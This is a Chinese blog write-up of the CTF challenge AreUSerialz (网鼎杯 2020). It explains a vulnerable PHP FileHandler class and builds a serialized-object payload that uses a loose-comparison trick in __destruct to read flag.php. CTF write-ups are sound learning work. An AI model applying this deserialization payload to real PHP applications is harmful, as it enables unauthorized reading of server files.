[网鼎杯 2020 青龙组]AreUSerialz 1

啪一下,一坨代码扔给我,很快凹!

首先是包含了flag.php文件

include("flag.php");

然后就是 一个php语法高亮显示,没啥用跳过。

highlight_file(__FILE__);

紧接着就是一个class类的定义

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

这么一大堆讲了啥,再看看。

先是整了PHP的访问修饰符,插入知识点。

类属性可以定义为public, private 或者 protected。在没有任何访问控制关键字的情况下,属性声明为 public。

**public**:公共

**protected**:受保护,只有当前类成员和继承该类的类才能使用

绕过方法:%00类名%00成员名

**private**:私有,只有自己才能访问

绕过方法:%00%00成员名

 下面构造了函数

function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

初始化加调用process(),process在哪呢?下面

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

如果op=1,执行写,op=2,执行读,不然就是坏黑客!

下面是写的内容

private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

知识点插入 

isset()用来检测变量是否设置

strlen()用来检测变量长度 

满足content小于100即可绕过。

下面的自定义read函数和output函数用处较为明显,略过不表。

来不及悼念read和output,接下来登场的是重量级,destruct函数

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

_destruct()当一个对象或对象操作终止时被调用

这里的if判断使用了三个等号,是强比较,插入知识点

强比较:===

比较值,也比较类型

例如:"123a"===123=>false

弱比较:==

弱比较主要是字符型和数字型的比较

1.字符型和字符型,数字型和数字型,同类型比较值。

2.字符型和数字型比较

        若字符型值开头为数字,转为数字;

        若开头不为数字,为null弱比较与0相等。

例如:"a123"==123=>false

           "abc123"==0=>true

           "123a"==123=>true     

3.布尔值true和任意字符串和数值比较,除了false和0,都为true。因为0在布尔值中是false,true和false不等。

 这里可以写的是,如果op===2就强行赋值1,然后content变成空,调用process。

然后来到了is_valid函数

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

插入知识点

ord函数用来返回ascii值

这个函数来检测我们传入的每个字母在32和125之间

最后就是一个get传参,传到is_valid里检测,true就反序列化str

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

全部代码读完了,来看看解法吧。

首先要给op赋值数字2,我们需要进入read,然后把res输出出来,

接着是filename,题目里给了是flag.php

最后就是通过get传参,把我们构造的序列化payload传进去。

序列化代码

<?php

class FileHandler{

        public $op = 2;
        public $filename = "flag.php";
        public $content = "1";

}
$a = new FileHandler;
$b = serialize($a);
echo $b;

?>

找个菜鸟教程的在线编译器丢进去吧。

序列化后

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

 注意,这里使用的是public公共对象,因为protected对象在序列化之后是由%00*%00字符,而这个%00*%00的ASCII码为0,是不能通过is_valid()的检测的,所以要转换成公共对象,因为在php7.1+版本对类型不敏感,所以改成public就可以顺利绕过。

把这序列化后的构造成payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

再查看源码

便得到了flag。

第一次写wp,感觉有很多不对,我刷ctfweb题的时候,感觉很多知识看过就忘了,很多师傅写的wp很好,但是记不住没用啊,所以我想着能不能自己试着写写wp,然后来帮助自己记住知识点,希望师傅看到不对的指正一下,谢谢!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值